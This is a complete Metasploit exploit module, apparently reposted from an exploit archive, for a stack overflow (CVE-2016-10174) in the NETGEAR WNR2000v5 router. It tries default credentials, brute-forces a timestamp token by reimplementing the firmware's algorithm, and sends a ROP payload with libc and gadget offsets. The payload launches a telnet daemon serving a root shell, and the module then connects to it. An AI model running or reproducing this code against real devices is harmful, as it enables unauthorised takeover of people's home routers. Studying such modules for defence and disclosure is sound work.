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NETGEAR WNR2000v5 (Un)authenticated hidden_lang_avi Stack Overflow

Posted on 24 March 2017

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'time'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::CRand

def initialize(info = {})
super(update_info(info,
'Name' => 'NETGEAR WNR2000v5 (Un)authenticated hidden_lang_avi Stack Overflow',
'Description' => %q{
The NETGEAR WNR2000 router has a buffer overflow vulnerability in the hidden_lang_avi
parameter.
In order to exploit it, it is necessary to guess the value of a certain timestamp which
is in the configuration of the router. An authenticated attacker can simply fetch this
from a page, but an unauthenticated attacker has to brute force it.
Bruteforcing the timestamp token might take a few minutes, a few hours, or days, but
it is guaranteed that it can be bruteforced.
This module implements both modes, and it works very reliably. It has been tested with
the WNR2000v5, firmware versions 1.0.0.34 and 1.0.0.18. It should also work with hardware
revisions v4 and v3, but this has not been tested - with these routers it might be necessary
to adjust the LibcBase variable as well as the gadget addresses.
},
'Author' =>
[
'Pedro Ribeiro <pedrib@gmail.com>' # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'Platform' => ['unix'],
'References' =>
[
['CVE', '2016-10174'],
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear-wnr2000.txt'],
['URL', 'http://seclists.org/fulldisclosure/2016/Dec/72'],
['URL', 'http://kb.netgear.com/000036549/Insecure-Remote-Access-and-Command-Execution-Security-Vulnerability']
],
'Targets' =>
[
[ 'NETGEAR WNR2000v5',
{
'LibcBase' => 0x2ab24000, # should be the same offset for all firmware versions (in libuClibc-0.9.30.1.so)
'SystemOffset' => 0x547D0,
'GadgetOffset' => 0x2462C,
#The ROP gadget will load $sp into $a0 (which will contain the system() command) and call $s0 (which will contain the address of system()):
#LOAD:0002462C addiu $a0, $sp, 0x40+arg_0
#LOAD:00024630 move $t9, $s0
#LOAD:00024634 jalr $t9
'Payload' =>
{
'BadChars' => "x00x25x26",
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find',
},
},
}
],
],
'Privileged' => true,
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
'DisclosureDate' => 'Dec 20 2016',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(80),
OptString.new('HttpUsername', [true, 'Username for the web interface (not needed but exploitation is faster)', 'admin']),
OptString.new('HttpPassword', [true, 'Password for the web interface (not needed but exploitation is faster)', 'password']),
], self.class)
register_advanced_options(
[
OptInt.new('TIME_OFFSET', [true, 'Maximum time differential to try', 5000]),
OptInt.new('TIME_SURPLUS', [true, 'Increase this if you are sure the device is vulnerable and you are not getting a shell', 200])
], self.class)
end

def check
res = send_request_cgi({
'uri' => '/',
'method' => 'GET'
})
if res && res.headers['WWW-Authenticate']
auth = res.headers['WWW-Authenticate']
if auth =~ /WNR2000v5/
return Exploit::CheckCode::Detected
elsif auth =~ /WNR2000v4/ || auth =~ /WNR2000v3/
return Exploit::CheckCode::Unknown
end
end
Exploit::CheckCode::Safe
end

def uri_encode (str)
"%" + str.scan(/.{2}|.+/).join("%")
end

def calc_address (libc_base, offset)
addr = (libc_base + offset).to_s(16)
uri_encode(addr)
end

def get_current_time
res = send_request_cgi({
'uri' => '/',
'method' => 'GET'
})
if res && res['Date']
date = res['Date']
return Time.parse(date).strftime('%s').to_i
end
end

def get_auth_timestamp
res = send_request_raw({
'uri' => '/lang_check.html',
'method' => 'GET',
# automatically uses HttpPassword and HttpUsername to authenticate
})
if res && res.code == 401
# try again, might fail the first time
res = send_request_raw({
'uri' => '/lang_check.html',
'method' => 'GET',
# automatically uses HttpPassword and HttpUsername to authenticate
})
end
if res && res.code == 200
if res.body =~ /timestamp=([0-9]{8})/
$1.to_i
end
end
end

# Do some crazyness to force Ruby to cast to a single-precision float and
# back to an integer.
# This emulates the behaviour of the soft-fp library and the float cast
# which is done at the end of Netgear's timestamp generator.
def ieee754_round (number)
[number].pack('f').unpack('f*')[0].to_i
end

# This is the actual algorithm used in the get_timestamp function in
# the Netgear firmware.
def get_timestamp(time)
srandom_r time
t0 = random_r
t1 = 0x17dc65df;
hi = (t0 * t1) >> 32;
t2 = t0 >> 31;
t3 = hi >> 23;
t3 = t3 - t2;
t4 = t3 * 0x55d4a80;
t0 = t0 - t4;
t0 = t0 + 0x989680;

ieee754_round(t0)
end

def get_payload
rand_text_alpha(36) + # filler_1
calc_address(target['LibcBase'], target['SystemOffset']) + # s0
rand_text_alpha(12) + # s1, s2 and s3
calc_address(target['LibcBase'], target['GadgetOffset']) + # gadget
rand_text_alpha(0x40) + # filler_2
"killall telnetenable; killall utelnetd; /usr/sbin/utelnetd -d -l /bin/sh" # payload
end

def send_req(timestamp)
begin
uri_str = (timestamp == nil ? 
"/apply_noauth.cgi?/lang_check.html" : 
"/apply_noauth.cgi?/lang_check.html%20timestamp=#{timestamp.to_s}")
res = send_request_raw({
'uri' => uri_str,
'method' => 'POST',
'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' },
'data' => "submit_flag=select_language&hidden_lang_avi=#{get_payload}"
})
rescue ::Errno::ETIMEDOUT, ::Errno::ECONNRESET, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
return
end
end

def exploit
# 1: try to see if the default admin username and password are set
timestamp = get_auth_timestamp

# 2: now we try two things at once:
# one, if the timestamp is not nil then we got an authenticated timestamp, let's try that
# two, if the timestamp is nil, then let's try without timestamp first (the timestamp only gets set if the user visited the page before)
print_status("#{peer} - Trying the easy way out first")
send_req(timestamp)
begin
ctx = { 'Msf' => framework, 'MsfExploit' => self }
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => 23, 'Context' => ctx, 'Timeout' => 10 })
if not sock.nil?
print_good("#{peer} - Success, shell incoming!")
return handler(sock)
end
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
sock.close if sock
end

print_bad("#{peer} - Well that didn't work... let's do it the hard way.")

# no shell? let's just go on and bruteforce the timestamp
# 3: get the current date from the router and parse it
end_time = get_current_time
if end_time.nil?
fail_with(Failure::Unknown, "#{peer} - Unable to obtain current time")
end
if end_time <= datastore['TIME_OFFSET']
start_time = 0
else
start_time = end_time - datastore['TIME_OFFSET']
end
end_time += datastore['TIME_SURPLUS']

if end_time < (datastore['TIME_SURPLUS'] * 7.5).to_i
end_time = (datastore['TIME_SURPLUS'] * 7.5).to_i
end

print_good("#{peer} - Got time #{end_time} from router, starting exploitation attempt.")
print_status("#{peer} - Be patient, this might take a long time (typically a few minutes, but it might take hours).")

# 2: work back from the current router time minus datastore['TIME_OFFSET']
while true
for time in end_time.downto(start_time)
timestamp = get_timestamp(time)
sleep 0.1
if time % 400 == 0
print_status("#{peer} - Still working, trying time #{time}")
end
send_req(timestamp)
begin
ctx = { 'Msf' => framework, 'MsfExploit' => self }
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => 23, 'Context' => ctx, 'Timeout' => 10 })
if sock.nil?
next
end
print_status("#{peer} - Success, shell incoming!")
return handler(sock)
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
sock.close if sock
next
end
end
end_time = start_time
start_time -= datastore['TIME_OFFSET']
if start_time < 0
if end_time <= datastore['TIME_OFFSET']
fail_with(Failure::Unknown, "#{peer} - Exploit failed.")
end
start_time = 0
end
print_status("#{peer} - Going for another round, finishing at #{start_time} and starting at #{end_time}")

# let the router clear the buffers a bit...
sleep 30
end
end
end

 

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